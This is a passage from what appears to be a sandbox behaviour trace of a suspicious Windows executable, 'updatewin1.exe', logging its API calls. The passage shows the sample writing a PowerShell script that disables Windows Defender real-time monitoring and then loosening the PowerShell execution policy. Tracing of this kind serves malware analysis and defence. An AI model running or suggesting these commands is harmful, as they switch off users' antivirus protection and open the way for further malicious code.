xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf4\xfa\x08\x11\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0094.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0094.399] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0094.399] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0094.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf4\xfa\x08\x11\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x80) returned 0x65a0d8 [0094.399] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe")) returned 0x5f [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xdc) returned 0x65c168 [0094.399] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0094.399] GetLastError () returned 0x0 [0094.399] SetLastError (dwErrCode=0x0) [0094.399] GetEnvironmentStringsW () returned 0x65c250* [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaca) returned 0x65cd28 [0094.399] FreeEnvironmentStringsW (penv=0x65c250) returned 1 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x98) returned 0x65c250 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x3e) returned 0x65c2f0 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x6c) returned 0x65c338 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x6e) returned 0x65c3b0 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x78) returned 0x641188 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x62) returned 0x65c428 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x2e) returned 0x6452d8 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x48) returned 0x65c498 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x28) returned 0x65a160 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x1a) returned 0x65bd18 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x4a) returned 0x65c4e8 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x72) returned 0x641208 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x30) returned 0x645310 [0094.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x2e) returned 0x645348 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x1c) returned 0x65bd40 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xd2) returned 0x65c540 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x7c) returned 0x65c620 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x36) returned 0x65c6a8 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x3a) returned 0x65c6e8 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x90) returned 0x65c730 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x24) returned 0x65c7c8 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x30) returned 0x645380 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x36) returned 0x65c7f8 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x48) returned 0x65c838 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x52) returned 0x65c888 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x3c) returned 0x65d818 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x82) returned 0x65c8e8 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x2e) returned 0x6453b8 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x1e) returned 0x65bd68 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x2c) returned 0x6453f0 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x54) returned 0x65c978 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x52) returned 0x65c9d8 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x2a) returned 0x645428 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x3c) returned 0x65d860 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x54) returned 0x65ca38 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x24) returned 0x65ca98 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x30) returned 0x645460 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x8c) returned 0x65cac8 [0094.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x65cd28 | out: hHeap=0x630000) returned 1 [0094.400] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x800) returned 0x65cb60 [0094.400] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0094.400] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0094.400] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0094.400] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" --Admin" [0094.400] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" --Admin", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x65d368*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" [0094.401] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d8ec | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0094.408] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="script.ps1" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1") returned 1 [0094.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\script.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8 [0094.409] lstrcpyA (in: lpString1=0x18e0ec, lpString2="Set-MpPreference -DisableRealtimeMonitoring $true" | out: lpString1="Set-MpPreference -DisableRealtimeMonitoring $true") returned="Set-MpPreference -DisableRealtimeMonitoring $true" [0094.409] lstrlenA (lpString="Set-MpPreference -DisableRealtimeMonitoring $true") returned 49 [0094.409] WriteFile (in: hFile=0xa8, lpBuffer=0x18e0ec*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x18d8e8, lpOverlapped=0x0 | out: lpBuffer=0x18e0ec*, lpNumberOfBytesWritten=0x18d8e8*=0x31, lpOverlapped=0x0) returned 1 [0094.410] CloseHandle (hObject=0xa8) returned 1 [0094.412] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x70) returned 0x65ecd8 [0094.412] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x90) returned 0x65ed50 [0094.412] SetLastError (dwErrCode=0x0) [0094.412] lstrcpyW (in: lpString1=0x18d4e0, lpString2="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" | out: lpString1="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned") returned="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" [0094.412] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d498*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d488 | out: lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessInformation=0x18d488*(hProcess=0xa4, hThread=0xa8, dwProcessId=0xaec, dwThreadId=0xaf0)) returned 1 [0094.441] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.674] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.697] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.704] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.715] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.730] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.747] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.766] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.777] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.812] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.842] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.857] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.871] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.886] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.908] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.917] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.937] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.952] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.984] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0094.996] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.011] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.029] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.042] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.058] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.073] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.089] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.105] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.120] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.136] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.152] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.167] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.183] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.198] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.214] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.232] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.245] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.261] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.276] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.292] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.307] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.323] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.339] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.354] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.370] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.387] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.401] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.420] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.432] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.449] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.463] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.485] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.495] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.510] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.526] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.542] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.557] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.573] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.589] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.604] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.623] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.640] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.651] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.684] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.712] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.713] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.730] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.745] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.760] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.776] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.791] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.810] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.822] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.874] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.912] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.923] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.963] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.979] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0095.995] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.025] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.055] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.065] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.387] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.418] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.434] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.466] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.478] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.527] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.563] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.580] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.588] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.621] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.635] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0096.665] WaitForSingleObject 